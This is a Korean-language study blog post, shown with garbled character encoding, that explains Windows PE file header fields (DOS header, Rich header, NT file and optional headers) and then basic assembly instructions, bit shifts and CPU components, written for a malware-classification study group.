  • Microsoft๊ฐ€ peํฌ๋งท์„ ๊ฐœ๋ฐœํ•  ๋•Œ, ๋‹น์‹œ ์“ฐ์ด๋˜ DOS ํŒŒ์ผ์— ๋Œ€ํ•œ ํ•˜์œ„ํ˜ธํ™˜์„ฑ์„ ์ข‹๊ฒŒ ์„ค๊ณ„ํ•จ
  • ๋”ฐ๋ผ์„œ PEํ—ค๋”์˜ ์ œ์ผ ์•ž๋ถ€๋ถ„์€ ๊ธฐ์กด DOS EXE header๋ฅผ ํ™•์žฅํ•œ 'IMAGE DOS HEADER'๋กœ ๋งŒ๋“ฆ
    • IMAGE DOS HEADER = ๊ธฐ์กด DOS EXE HEADER์˜ ํ™•์žฅ
  • ์—ฌ๊ธฐ์„œ ์ œ์ผ ์ค‘์š”ํ•œ ๋ฉค๋ฒ„๋Š” e_magic๊ณผ e_ifanew
  • ๋ชจ๋“  ํŒŒ์ผ์€ ์‹œ์ž‘ ๋ถ€๋ถ„(e_magic)์— DOS signature("MZ", ๋งˆ์ดํฌ๋กœ์†Œํ”„ํŠธ์—์„œ DOS ์‹คํ–‰ํŒŒ์ผ์„ ์„ค๊ณ„ํ•œ ์ฃผ๋น„์ฝ”๋ธŒ์Šคํ‚ค์˜ ์˜๋ฌธ ์ด๋‹ˆ์…œ)๊ฐ€ ์กด์žฌํ•œ๋‹ค.
  • ๊ทธ๋ฆฌ๊ณ  e_lfanew ๊ฐ’์ด ๊ฐ€๋ฆฌํ‚ค๋Š” ์œ„์น˜์— NT header ๊ตฌ์กฐ์ฒด๊ฐ€ ์กด์žฌํ•ด์•ผ ํ•œ๋‹ค.

DOS Header & DOS stub

  • ์‹œ์ž‘ ๋ถ€๋ถ„์— e-magic("MZ")์ด ์žˆ๊ณ  ํ—ค๋”์˜ ๋๋ถ€๋ถ„์— 00 00 00 E0์œผ๋กœ e-lfanew๊ฐ€ ์„ค์ •๋˜์–ด ์žˆ๋Š” ๊ฑธ ๋ณผ ์ˆ˜ ์žˆ๋‹ค.
    • NT header ๊ตฌ์กฐ์ฒด๊ฐ€ 0x00 00 00 E0์— ์กด์žฌํ•œ๋‹ค๋Š” ๋œป
  • DOS Stub์€ ํ—ค๋” ๋ฐ”๋กœ ๋ฐ‘์— ์กด์žฌํ•˜๋Š” ๋ถ€๋ถ„์ธ๋ฐ, ์—†์–ด๋„ ํŒŒ์ผ ์‹คํ–‰์—๋Š” ๋ฌธ์ œ๊ฐ€ ์—†๋‹ค.
  • ์œˆ๋„์šฐ์—์„œ 40~4D ์˜์—ญ๊นŒ์ง€, ์ฆ‰ DOS Stub ์ฒซ ์ค„ 21๊นŒ์ง€๋Š” 16๋น„ํŠธ ์–ด์…ˆ๋ธ”๋ฆฌ ๋ช…๋ น์–ด
  • ์œˆ๋„์šฐ์—์„œ๋Š” ์•„์˜ˆ ์ด์ชฝ ์ฝ”๋“œ๋ฅผ ๋ฌด์‹œ(32๋น„ํŠธ ๊ธฐ๋„ ํ•˜๊ณ , PE์—์„œ๋Š” ์‹คํ–‰ ์•ˆ๋จ), ๊ทผ๋ฐ DOS ๋””๋ฒ„๊ฑฐ๋กœ ์‹คํ–‰ํ•˜๋ฉด ์ € ์ฝ”๋“œ๊ฐ€ ์‹คํ–‰๋˜๋ฉฐ ์ € ๋ฌธ์žฅ์ด ์ถœ๋ ฅ๋˜๋Š” ๊ตฌ์กฐ

DOS STUB - Rich Header

  • Rich Header๋Š” DOS Stub ๋ถ€๋ถ„์— ๋‹ด๊ฒจ์ ธ ์žˆ๊ณ  ์ปดํŒŒ์ผ๋Ÿฌ๋‚˜ ๋ง์ปค ์ •๋ณด๊ฐ€ ๋‹ด๊ฒจ์žˆ์Œ.
  • ์‹คํ–‰ํŒŒ์ผ์˜ ์•…์„ฑ ์œ ๋ฌด๋ฅผ ํŒ๋‹จํ•  ๋•Œ๋Š” ์‚ฌ์šฉํ•˜์ง€ ์•Š์œผ๋‚˜, ์ปดํŒŒ์ผ๋Ÿฌ๋‚˜ ๋ง์ปค๋ฅผ ํ†ตํ•ด ๊ณต๊ฒฉ๊ทธ๋ฃน์„ ๋ถ„๋ฅ˜ํ•  ์ˆ˜ ์žˆ์Œ
  • Rich identifier ์ด์ „๊นŒ์ง€์˜ ๋ถ€๋ถ„์„ checksum๊ณผ XOR ์—ฐ์‚ฐ ์‹œ ์—ฌ๋Ÿฌ ์ •๋ณด๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ์Œ

https://wogh8732.tistory.com/212

 

Rich header ๊ตฌ์กฐ

1. RICH header ๋ž€? Rich ํ—ค๋”๋ž€ ๋ฌธ์„œํ™” ๋˜์ง€ ์•Š์€ ๊ตฌ์กฐ์ด๋ฉฐ ์ปดํŒŒ์ผ ์ •๋ณด๊ฐ€ ๋‹ด๊ฒจ์žˆ๋‹ค. ์‹คํ–‰ํ•  ๋•Œ ์‚ฌ์šฉ๋˜๋Š” ์ •๋ณด๊ฐ€ ์•„๋‹ˆ๋ฏ€๋กœ ์œ ์‚ฌ๋„ ์ธก์ •์— ์•„์ฃผ ํฐ ๋„์›€์ด ๋˜๋Š” ํŠน์ง•๋“ค์€ ์•„๋‹ˆ์ง€๋งŒ, ๋ถ€์ˆ˜์ ์œผ๋กœ ํŒ๋‹จ์„

wogh8732.tistory.com

 https://swpose.tistory.com/4

 

About Rich Header

๋ธ”๋กœ๊ทธ ์ด์ „์œผ๋กœ ์ž‘์„ฑ์‹œ๊ฐ„ ๋ณ€๊ฒฝ๋จ - ๊ธฐ์กด [2019.01.03 00:47] ์ž‘์„ฑ 1. OverviewKaspersky lab์˜ GReAT ํŒ€์€ Rich Header ๋ถ„์„์„ ํ†ตํ•ด ๊ณต๊ฒฉ ๊ทธ๋ฃน์„ ๋ฐํ˜€๋‚ธ ์‚ฌ๋ก€๊ฐ€ ์žˆ๋‹ค. ํ•ด๋‹น ๋‚ด์šฉ์„ ๋‹ด์€ ๋ณด๊ณ ์„œ๊ฐ€ ๊ณต๊ฐœ๋˜์–ด ์žˆ์œผ๋ฉฐ

swpose.tistory.com


NT HEADER

  • ๋ณธ๊ฒฉ์ ์ธ PE Header๋กœ PE Header๋Š” IMAGE_NT_HEADER ๊ตฌ์กฐ๋กœ ์ด๋ฃจ์–ด์ ธ ์žˆ๊ณ , ์ด 3๊ฐœ์˜ ๋ฉค๋ฒ„๋กœ ๋˜์–ด ์žˆ๋‹ค.
    • ์‹œ๊ทธ๋‹ˆ์ฒ˜
    • File Header
    • Optional Header
  • ์‹œ๊ทธ๋‹ˆ์ฒ˜๋Š” "PE00"์œผ๋กœ ์‹œ์ž‘ํ•˜๋Š” 4๋ฐ”์ดํŠธ ๊ธธ์ด์˜ ๋ฌธ์ž์—ด

NT HEADER(File Header)

 

1. Machine

  • CPU๋ณ„๋กœ ๊ณ ์œ ํ•œ ๊ฐ’์„ ๊ฐ€์ง€๊ณ  Intel 386 ํ˜ธํ™˜ ์นฉ์€ 014c์˜ ๊ฐ’์ด๋‹ค.
  • ๋ฆฌํ‹€ ์•ค๋””์•ˆ ๋ฐฉ์‹: ์ €์žฅํ•  ๋•Œ ํ•˜์œ„ ๋ฐ”์ดํŠธ, ์ฆ‰ ์ž‘์€ ์ชฝ์„ ๋จผ์ € ์ €์žฅํ•˜๋Š” ๋ฐฉ์‹
  • ์ปดํ“จํ„ฐ์— intํ˜• 4๋ฐ”์ดํŠธ ๋ฐ์ดํ„ฐ 0x01 02 03 04๋ฅผ ์ €์žฅํ•œ๋‹ค๊ณ  ์ƒ๊ฐํ•˜๋ฉด, ๋ฆฌํ‹€ ์•ค๋””์•ˆ ๋ฐฉ์‹์œผ๋กœ๋Š” ๋ฉ”๋ชจ๋ฆฌ์— 04 03 02 01 ์ˆœ์œผ๋กœ ์ €์žฅ๋œ๋‹ค.
  • Intel ๊ธฐ๋ฐ˜ ์œˆ๋„์šฐ๋Š” ๋ฆฌํ‹€ ์•ค๋””์•ˆ ๋ฐฉ์‹์„ ์‚ฌ์šฉํ•˜๊ณ  ๋ฐ”๊พธ์„œ 4C 01 ์ด๋ ‡๊ฒŒ ๋˜์–ด์žˆ๋‹ค.
  • ๊ทธ๋Ÿฌ๋ฏ€๋กœ, Intel 386 ํ˜ธํ™˜ ์นฉ์— ๋งž๋Š” ํ”„๋กœ๊ทธ๋žจ์ด๋‹ค.

 

2. NumberOfSections

์„น์…˜์˜ ๊ฐœ์ˆ˜๋ฅผ ๋‚˜ํƒ€๋‚ด๋Š” ๋ถ€๋ถ„

 

3. SizeOfOptionalHeader

  • IMAGE_NT_HEADERS์˜ ๋งˆ์ง€๋ง‰ ๋ฉค๋ฒ„์ธ IMAFE_OPTIONAL_HEADER ๊ตฌ์กฐ์ฒด์˜ ํฌ๊ธฐ๋ฅผ ๋‚˜ํƒ€๋‚ด๋Š” ๋ถ€๋ถ„
  • PEํŒŒ์ผ์€ ์ฝ”๋“œ, ๋ฐ์ดํ„ฐ, ๋ฆฌ์†Œ์Šค ๊ฐ™์€ ๊ฒƒ๋“ค์ด ๊ฐ๊ฐ ์„น์…˜์— ๋‚˜๋‰˜์–ด์„œ ์ €์žฅ๋˜๋Š”๋ฐ ์ด ๋ถ€๋ถ„์€ ๊ทธ ์„น์…˜์ด ๋ช‡ ๊ฐœ์ธ์ง€ ๋‚˜ํƒ€๋‚ด๋Š” ๋ถ€๋ถ„
  • ์ด ๋ถ€๋ถ„์€ 0๋ณด๋‹ค ์ปค์•ผ ํ•˜๊ณ  ์ •์˜๋œ ์„น์…˜ ๊ฐœ์ˆ˜๋ž‘ ์‹ค์ œ ์„น์…˜ ๊ฐœ์ˆ˜๊ฐ€ ๋‹ค๋ฅด๋ฉด ์—๋Ÿฌ๊ฐ€ ๋‚œ๋‹ค.
    • 0๋ณด๋‹ค ์ž‘์œผ๋ฉด ์‹คํ–‰์ด ์•ˆ๋จ, ์„น์…˜์ด ์—†๋Š” ๊ฒƒ
    • ํ˜น์€ ์ •์˜๋œ ์„น์…˜ ๊ฐœ์ˆ˜๊ฐ€ ์‹ค์ œ ์„น์…˜ ๊ฐœ์ˆ˜๋ณด๋‹ค ์ ์œผ๋ฉด ๋’ท๋ถ€๋ถ„ ์„น์…˜์ด ์ธ์‹๋˜์ง€ ์•Š๊ธฐ๋„ ํ•จ
  • SizeOfOptionalHeader์˜ ๊ฒฝ์šฐ๋Š” optional header์˜ ํฌ๊ธฐ๋ฅผ ๋ช…์‹œํ•˜๋Š” ๋ถ€๋ถ„์ธ๋ฐ, 32๋น„ํŠธ ํŒŒ์ผ์ธ์ง€, 64๋น„ํŠธ ํŒŒ์ผ์ธ์ง€๋ฅผ ํ‘œ์‹œํ•˜๊ธฐ ์œ„ํ•ด ์‚ฌ์šฉ๋˜๋Š” ๋ถ€๋ถ„

4. Characteristics

  • ํŒŒ์ผ์˜ ์†์„ฑ์„ ๋‚˜ํƒ€๋‚ด๋Š” ๊ฐ’. 
  • ์‹คํ–‰์ด ๊ฐ€๋Šฅํ•œ์ง€, DLL ํŒŒ์ผ์ธ์ง€ ๋“ฑ์˜ ์ •๋ณด๋“ค์ด bit OR ํ˜•์‹์œผ๋กœ ์ €์žฅ๋จ
  • DLL์ด๋‚˜ OBJ ํŒŒ์ผ์ฒ˜๋Ÿผ ์…ธ์—์„œ ์‹คํ–‰์ด ๋˜์ง€ ์•Š๊ณ  ์„œ๋น„์Šค๋‚˜ ๋””๋ฒ„๊ฑฐ๋กœ ์‹คํ–‰ํ•˜๋Š” ๊ฒฝ์šฐ
    • 0002h, ์ฆ‰ IMAGE_FILE_EXECUTABLE์ด ์—†๋Š” ๊ฒฝ์šฐ๊ฐ€ ์žˆ์„ ์ˆ˜ ์žˆ์Œ
  • TIMESTAMP๋ผ๋Š” ๋ฉค๋ฒ„๋Š” ํ•ด๋‹น ํŒŒ์ผ์ด ๋นŒ๋“œ๋œ ์‹œ๊ฐ„์„ ๋‚˜ํƒ€๋‚ด๋Š” ๊ฐ’์ด๊ณ , ํŒŒ์ผ ์‹คํ–‰์— ์˜ํ–ฅ์„ ๋ฏธ์น˜์ง€ ์•Š์Œ
  • ์‹ค์ œ ์นจํ•ด์‚ฌ๊ณ ์—์„œ ํŒŒ์ผ์˜ ์ƒ์„ฑ์‹œ์ ์ด๋‚˜ ์นจํˆฌ์‹œ์ ์œผ๋กœ ์‹œ๊ฐ„์„ ์ถ”์ ํ•  ๋•Œ๋Š” ์‚ฌ์šฉ๋  ์ˆ˜ ์žˆ์ง€๋งŒ, ์ธ๊ณต์ง€๋Šฅ ์ œ์ž‘์—๋Š” ๋ณ„๋‹ฌ๋ฆฌ feature๋กœ ์‚ฌ์šฉ๋˜์ง€ ์•Š์Œ

          • Machine: 4byte → 01 4C(32bit Intel 386 ํ˜ธํ™˜ ์นฉ)
          • NumberOfsctions: 4byte → 00 03(3๊ฐœ)
          • Timestamp: 8byte → 41 10 7C C3
          • Offset to Symbol table: 8byte → 00 00 00 00
          • Number of Symbols: 8byte → 00 00 00 00
          • Size of Optional Header: 4byte → 00 E0
          • Characheristics: 4byte → 01 0F
            • IMAGE_FILE_RELOCS_STRIPPED  0x0001
            • IMAGE_FILE_EXECUTABLE_IMAGE  0x0002
            • IMAGE_FILE_LINE_NUMS_STRIPPED  0x0004
            • IMAGE_FILE_LOCAL_SYMS_STRIPPED  0x0008
            • IMAGE_FILE_32BIT_MACHINE  0x0100
            • → 1+2+4+8+=15 (16์ง„์ˆ˜ ๋ณ€ํ™˜ ์‹œ 0F๋กœ ๋ณ€ํ™˜๋จ)

NT HEADER(Optional Header)

์ ˆ๋Œ€์ฃผ์†Œ์™€ ํฌ๊ธฐ

  • Magic ๋„˜๋ฒ„๋Š” 32๋น„ํŠธ๋Š” 10B์˜ ๊ฐ’์„, 64๋น„ํŠธ๋Š” 20B์˜ ๊ฐ’์„ ๊ฐ€์ง
  • AddressOfEntryPoint์˜ ๊ฒฝ์šฐ, EP์˜ RVA(์ƒ๋Œ€์ฃผ์†Œ)๋ฅผ ๋‚˜ํƒ€๋‚ธ ๊ฑด๋ฐ, EP๋Š” ํ”„๋กœ๊ทธ๋žจ์—์„œ ์ตœ์ดˆ๋กœ ์‹คํ–‰๋˜๋Š” ์ฝ”๋“œ์˜ ์‹œ์ž‘ ์ฃผ์†Œ์ž„.
    • ๋”ฐ๋ผ์„œ, ํ”„๋กœ๊ทธ๋žจ์˜ ์‹œ์ž‘์ ์œผ๋กœ ๋งค์šฐ ์ค‘์š”ํ•œ ๊ฐ’

  • EXE, DLL ํŒŒ์ผ์€ user memory ์˜์—ญ์ธ 0~7FFFFFFF ๋ฒ”์œ„์— ๋กœ๋”ฉ
  • SYS๋Š” ์ปค๋„ ๋ฉ”๋ชจ๋ฆฌ ์˜์—ญ์ธ 80000000~FFFFFFFF ๋ฒ”์œ„์— ๋กœ๋”ฉ
  • PE ๋กœ๋”๋Š” PEํŒŒ์ผ์„ ๋กœ๋”ฉํ•  ๋•Œ, ํ”„๋กœ์„ธ์Šค๋ฅผ ์ƒ์„ฑํ•˜๊ณ  ํŒŒ์ผ์„ ๋ฉ”๋ชจ๋ฆฌ์— ๋กœ๋”ฉํ•œ ๋‹ค์Œ EIP ๋ ˆ์ง€์Šคํ„ฐ ๊ฐ’์„ ImageBase+AddressOfEntryPoint ๊ฐ’์œผ๋กœ ์„ธํŒ…ํ•จ
  • ImageBase๋Š” PEํŒŒ์ผ์ด ๋ฉ”๋ชจ๋ฆฌ์—์„œ ๋กœ๋”ฉ๋˜๋Š” ์‹œ์ž‘ ์ฃผ์†Œ๋ฅผ ๋‚˜ํƒ€๋ƒ„
    • ์ผ๋ฐ˜์ ์ธ ๊ฐœ๋ฐœ๋„๊ตฌ๊ฐ€ ๋งŒ๋“  exe ํŒŒ์ผ์˜ ImageBase๋Š” 00400000์ด๊ณ , DLL์€ 10000000 ์ž„.
  • EIP ๋ ˆ์ง€์Šคํ„ฐ: Extended Insturction Pointer
    • CPU๊ฐ€ ์ฒ˜๋ฆฌํ•  ๋ช…๋ น์˜ ์ฃผ์†Œ๋ฅผ ๋‚˜ํƒ€๋ƒ„
    • ๋‹ค์Œ์—” ์–ด๋”œ ๊ฐ€์„œ ๋ญ˜ ํ•˜์ง€?๋ฅผ ๋‚˜ํƒ€๋‚ด๋Š” ๋ ˆ์ง€์Šคํ„ฐ
    • ํ•ด๋‹น PE๊ฐ€ ์‹œ์ž‘๋˜๋„๋ก CPU์˜ ๋‹ค์Œ ์ฒ˜๋ฆฌ์ง€์ ์„ PEํŒŒ์ผ์˜ ์‹œ์ž‘์ ์œผ๋กœ ์˜ฎ๊ฒจ์ฃผ๋Š” ๊ฒƒ

  • ํŒŒ์ผ์—์„œ ์„น์…˜์˜ ์ตœ์†Œ๋‹จ์œ„๋ฅผ ๋‚˜ํƒ€๋‚ด๋Š” ๊ฑด FileAlignment
  • ๋ฉ”๋ชจ๋ฆฌ์—์„œ ์„น์…˜์˜ ์ตœ์†Œ๋‹จ์œ„๋ฅผ ๋‚˜ํƒ€๋‚ด๋Š” ๊ฑด SectionAlignment
  • ๋‘ ๊ฐ’์€ ๊ฐ™์„ ์ˆ˜๋„, ๋‹ค๋ฅผ ์ˆ˜๋„ ์žˆ์œผ๋ฉฐ ํŒŒ์ผ/๋ฉ”๋ชจ๋ฆฌ์˜ ์„น์…˜ ํฌ๊ธฐ๋Š” ๋ฐ˜๋“œ์‹œ FileAlignment / SectionAlignment์˜ ๋ฐฐ์ˆ˜์—ฌ์•ผ ํ•จ

  • SizeOfImage: PE ํŒŒ์ผ์ด ๋ฉ”๋ชจ๋ฆฌ์— ๋กœ๋”ฉ๋˜์—ˆ์„ ๋•Œ ๊ฐ€์ƒ ๋ฉ”๋ชจ๋ฆฌ์—์„œ PE Image๊ฐ€ ์ฐจ์ง€ํ•˜๋Š” ํฌ๊ธฐ
    • ์ผ๋ฐ˜์ ์œผ๋กœ ํŒŒ์ผ ํฌ๊ธฐ(size)์™€ PE ์ด๋ฏธ์ง€๊ฐ€ ๋ฉ”๋ชจ๋ฆฌ์— ๋กœ๋”ฉ๋œ ํฌ๊ธฐ(SizeOfImage)๋Š” ๋‹ค๋ฆ„
  • SizeOfHeaders: PE ํ—ค๋”์˜ ์ „์ฒด ํฌ๊ธฐ, FileAlignment์˜ ๋ฐฐ์ˆ˜
    • ํŒŒ์ผ ์‹œ์ž‘์ง€์ ์—์„œ SizeOfHeader์˜ ๊ธธ์ด๋งŒํผ ๋–จ์–ด์ง„ ์ง€์ ์— ์ฒซ ๋ฒˆ์งธ ์„น์…˜์ด ์œ„์น˜ํ•จ
    • ํ—ค๋” ๋‹ค์Œ์— ์„น์…˜์ด ๋‚˜์˜จ๋‹ค๋Š” ๊ฑธ ์ƒ๊ฐํ•ด ๋ณด๋ฉด ๋จ

  • Subsystem: ์ด subsystem์˜ ๊ฐ’์œผ๋กœ ์‹œ์Šคํ…œ ๋“œ๋ผ์ด๋ฒ„ ํŒŒ์ผ(.sys)์ธ์ง€ ์ผ๋ฐ˜ ์‹คํ–‰ ํŒŒ์ผ(.exe, .dll)์ธ์ง€ ๊ตฌ๋ถ„ ๊ฐ€๋Šฅ
    • ํ‘œ๋Š” sybsystem ๊ฐ’์— ๋”ฐ๋ผ ๊ตฌ๋ถ„๋˜๋Š” ๊ฒƒ๋“ค
      • 1์ด๋ฉด ์‹œ์Šคํ…œ ๋“œ๋ผ์ด๋ฒ„์™€ ๊ฐ™์€ sysํŒŒ์ผ
      • 2๋ฉด ๋ฉ”๋ชจ์žฅ ๊ฐ™์€ ์ฐฝ ๊ธฐ๋ฐ˜ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜
      • 3์ด๋ฉด cmd ๊ฐ™์€ ์ฝ˜์†” ๊ธฐ๋ฐ˜ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜
  • NumberOfRvaAndSizes: ๋ฐ”๋กœ ๋‹ค์Œ ๋ฉค๋ฒ„์ธ DataDirectory ๋ฐฐ์—ด์˜ ๊ฐœ์ˆ˜๋ฅผ ๋‚˜ํƒ€๋ƒ„
    • ๋งจ ์œ„์— Define์œผ๋กœ ๊ฐœ์ˆ˜๊ฐ€ 16์œผ๋กœ ์ •์˜๋˜์–ด ์žˆ์ง€๋งŒ, ๋กœ๋”๋Š” ์ด ๋ณ€์ˆ˜๋กœ ๋ฐฐ์—ด ํฌ๊ธฐ๋ฅผ ์ธ์‹ํ•จ.

 

  • DataDirectory: IMAGE_DATA_DIRECTORY ๊ตฌ์กฐ์ฒด์˜ ๋ฐฐ์—ด
    • ๋ฐฐ์—ด์˜ ๊ฐ ํ•ญ๋ชฉ๋งˆ๋‹ค ์ •์˜๋œ ๊ฐ’์„ ๊ฐ€์ง
    • ์—ฌ๊ธฐ์„œ EXPORT, IMPORT, RESOURCE, TLS Directory๊ฐ€ ์ค‘์š”ํ•œ๋ฐ, ๊ทธ์ค‘์—์„œ๋„ EXPORT, IMPORT DIRECTORY๊ฐ€ ํŠนํžˆ ์ค‘์š”ํ•˜๋‹ค!

 

'EVI$ION > ์ธ๊ณต์ง€๋Šฅ ์•…์„ฑ์ฝ”๋“œ ๋ถ„๋ฅ˜' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€

[STUDY] #WEEK3 - QUIZ  (0) 2024.10.04
[SESSION] 3. PEํŒŒ์ผ(2)  (1) 2024.10.04
[STUDY] #WEEK2 - QUIZ  (0) 2024.09.24
[SESSION] 1. ๋ฆฌ๋ฒ„์‹ฑ ๊ธฐ์ดˆ  (0) 2024.09.22
[SESSION] OT  (1) 2024.09.21
728x90

์–ด์…ˆ๋ธ”๋ฆฌ์–ด

ADD A B A์™€ B๋ฅผ ๋”ํ•œ ๊ฐ’์„ A์— ์ €์žฅ
SUB A B A์—์„œ B๋ฅผ ๋บ€ ๊ฐ’์„ A์— ์ €์žฅ
MUL A B A์™€ B๋ฅผ ๊ณฑํ•œ ๊ฐ’์„ A์— ์ €์žฅ
DIV A B A์™€ B๋ฅผ ๋‚˜๋ˆˆ ๊ฐ’์„ A์— ์ €์žฅ
MOV A B A์— B๋ฅผ ์ €์žฅ
JMP Addr Addr์ด ๊ฐ€๋ฆฌํ‚ค๋Š” ์ฃผ์†Œ๋กœ ์ด๋™
CALL Func Func ํ•จ์ˆ˜๋ฅผ ์‹คํ–‰
CMP A B A์™€ B๋ฅผ ๋น„๊ตํ•ด ๊ฐ’์ด ๊ฐ™๋‹ค๋ฉด ZF ๋ ˆ์ง€์Šคํ„ฐ๊ฐ€ 1๋กœ ์„ธํŒ…, ๋‹ค๋ฅด๋ฉด 0์œผ๋กœ ์„ธํŒ…๋จ

 

  • JMP์™€ CALL์€ ๋‘˜ ๋‹ค ํ”„๋กœ๊ทธ๋žจ ์‹คํ–‰ ํ๋ฆ„์ด ๋ณ€๊ฒฝ๋˜๋‹ค๋Š” ๊ฒƒ์€ ๋™์ผํ•˜๋‚˜,
  • JMP๋Š” ํ•ด๋‹น ์ฃผ์†Œ๋กœ ๊ฐ€๋Š” ๊ฒƒ
  • CALL์€ ํ•ด๋‹น ํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ•˜๋ฉฐ ์ด๋™ํ•œ ํ›„, ๋๋‚˜๋ฉด ์›๋ž˜ ์ฃผ์†Œ๋กœ ๋Œ์•„์˜ด

๋น„ํŠธ์—ฐ์‚ฐ์ž

 

๋น„ํŠธ ์‹œํ”„ํŠธ ์—ฐ์‚ฐ

  • SHL(Shift Left, ์™ผ์ชฝ ์‹œํ”„ํŠธ)
    • 5 << 2๋Š” ์ˆซ์ž 5๋ฅผ ์™ผ์ชฝ์œผ๋กœ 2๋ฒˆ ์‹œํ”„ํŠธ ํ•˜๋Š” ์—ฐ์‚ฐ
    • 5๋Š” 2์ง„์ˆ˜๋กœ 101์ด๋‹ค.
    • 101 << 2 = 10100
      • ์ฆ‰, 101์—์„œ ์™ผ์ชฝ์œผ๋กœ 2๋ฒˆ ์ด๋™ํ•˜์—ฌ, ๋นˆ์ž๋ฆฌ๋Š” 0์œผ๋กœ ์ฑ„์›Œ์ง„๋‹ค.
  • SHR(Shift Right, ์˜ค๋ฅธ์ชฝ ์‹œํ”„ํŠธ)
    • 6 >> 1์€ ์ˆซ์ž 6์„ ์˜ค๋ฅธ์ชฝ์œผ๋กœ 1๋ฒˆ ์‹œํ”„ํŠธ ํ•˜๋Š” ์—ฐ์‚ฐ
    • 6์€ 2์ง„์ˆ˜๋กœ 110์ด๋‹ค.
    • 110 >> 1 = 0011
      • ์ฆ‰, 110์—์„œ ์˜ค๋ฅธ์ชฝ์œผ๋กœ 1๋ฒˆ ์ด๋™ํ•˜๋ฉฐ, ๋นˆ์ž๋ฆฌ๋Š” 0์œผ๋กœ ์ฑ„์›Œ์ง„๋‹ค.

๋ ˆ์ง€์Šคํ„ฐ

CPU

  • ์‹œ์Šคํ…œ์˜ ์ค‘์•™์—์„œ ๋ชจ๋“  ๊ณ„์‚ฐ๊ณผ ๋ช…๋ น ์ฒ˜๋ฆฌ๋ฅผ ๋‹ด๋‹น
  • Interrupt line: ๊ฐ ์žฅ์น˜๋‚˜ ์ž‘์—…์—์„œ ๋ฐœ์ƒํ•˜๋Š” ์ธํ„ฐ๋ŸฝํŠธ๋ฅผ CPU๋กœ ์ „๋‹ฌํ•˜๋Š” ํ†ต๋กœ์ž…๋‹ˆ๋‹ค. ์ธํ„ฐ๋ŸฝํŠธ๋Š” CPU์˜ ์ž‘์—…์„ ์ž ์‹œ ๋ฉˆ์ถ”๊ณ  ์ฆ‰์‹œ ์ฒ˜๋ฆฌํ•ด์•ผ ํ•  ์ž‘์—…์ด ์žˆ์„ ๋•Œ ์‚ฌ์šฉ
  • Mode bit ๋ฐ Registers: CPU๋Š” ์—ฌ๋Ÿฌ ๋ชจ๋“œ์—์„œ ์ž‘์—…์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. Mode bit๋Š” CPU๊ฐ€ ํ˜„์žฌ ์–ด๋–ค ๋ชจ๋“œ(์‚ฌ์šฉ์ž ๋ชจ๋“œ ๋˜๋Š” ์ปค๋„ ๋ชจ๋“œ)๋กœ ์ž‘๋™ํ•˜๋Š”์ง€๋ฅผ ๋‚˜ํƒ€๋‚ด๋ฉฐ, ๋ ˆ์ง€์Šคํ„ฐ๋Š” ๊ณ„์‚ฐ์— ํ•„์š”ํ•œ ์ž„์‹œ ๋ฐ์ดํ„ฐ๋ฅผ ์ €์žฅํ•˜๋Š” ๊ณ ์† ๊ธฐ์–ต ์žฅ์น˜

Memory Controller (๋ฉ”๋ชจ๋ฆฌ ์ œ์–ด๊ธฐ)

  • CPU์™€ ๋ฉ”๋ชจ๋ฆฌ ๊ฐ„์˜ ๋ฐ์ดํ„ฐ ์ด๋™์„ ๊ด€๋ฆฌํ•ฉ๋‹ˆ๋‹ค. CPU๊ฐ€ ๋ฉ”๋ชจ๋ฆฌ์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋„๋ก ์ค‘๊ฐ„์—์„œ ์กฐ์ •ํ•˜๋Š” ์—ญํ• 

Memory (๋ฉ”๋ชจ๋ฆฌ)

  • ์‹œ์Šคํ…œ ๋ฉ”๋ชจ๋ฆฌ๋Š” ์šด์˜ ์ฒด์ œ(OS)์™€ ์‚ฌ์šฉ์ž ํ”„๋กœ๊ทธ๋žจ์„ ์ €์žฅ
  • CPU๋Š” ๋ฉ”๋ชจ๋ฆฌ์—์„œ ๋ฐ์ดํ„ฐ๋ฅผ ์ฝ๊ณ  ์“ฐ๋ฉฐ, ํ”„๋กœ๊ทธ๋žจ ์‹คํ–‰์— ํ•„์š”ํ•œ ๋ฐ์ดํ„ฐ๋ฅผ ๊ฐ€์ ธ์˜จ๋‹ค

DMA Controller (์ง์ ‘ ๋ฉ”๋ชจ๋ฆฌ ์ ‘๊ทผ ์ œ์–ด๊ธฐ)

  • CPU๋ฅผ ๊ฑฐ์น˜์ง€ ์•Š๊ณ ๋„ ๋ฉ”๋ชจ๋ฆฌ์™€ ์žฅ์น˜ ๊ฐ„์— ์ง์ ‘ ๋ฐ์ดํ„ฐ๋ฅผ ์ „์†กํ•  ์ˆ˜ ์žˆ๋„๋ก ๋„์™€์ฃผ๋Š” ์žฅ์น˜์ž…๋‹ˆ๋‹ค. ์ด๋ฅผ ํ†ตํ•ด CPU๋Š” ๋‹ค๋ฅธ ์ž‘์—…์— ์ง‘์ค‘ํ•  ์ˆ˜ ์žˆ๊ณ , ๋ฐ์ดํ„ฐ ์ „์†ก์€ ํšจ์œจ์ ์œผ๋กœ ์ด๋ฃจ์–ด์ง‘๋‹ˆ๋‹ค
  • Timer๋Š” ์ž‘์—…์˜ ์‹œ๊ฐ„์„ ์ธก์ •ํ•˜๊ฑฐ๋‚˜ ์ผ์ • ์‹œ๊ฐ„ ์ดํ›„์— ์ž‘์—…์„ ์‹คํ–‰ํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ

Device Controller (์žฅ์น˜ ์ œ์–ด๊ธฐ)

  • CPU์™€ ์ฃผ๋ณ€ ์žฅ์น˜(๋””์Šคํฌ, ํ”„๋ฆฐํ„ฐ, ํ‚ค๋ณด๋“œ, ๋ชจ๋‹ˆํ„ฐ ๋“ฑ) ๊ฐ„์˜ ๋ฐ์ดํ„ฐ๋ฅผ ์ค‘์žฌ
  • ๊ฐ๊ฐ์˜ ์žฅ์น˜์—๋Š” ๊ณ ์œ ์˜ Device controller๊ฐ€ ์žˆ๊ณ , ์ด๋ฅผ ํ†ตํ•ด ์žฅ์น˜๊ฐ€ CPU์˜ ๋ช…๋ น์„ ๋ฐ›์•„ ์‹คํ–‰

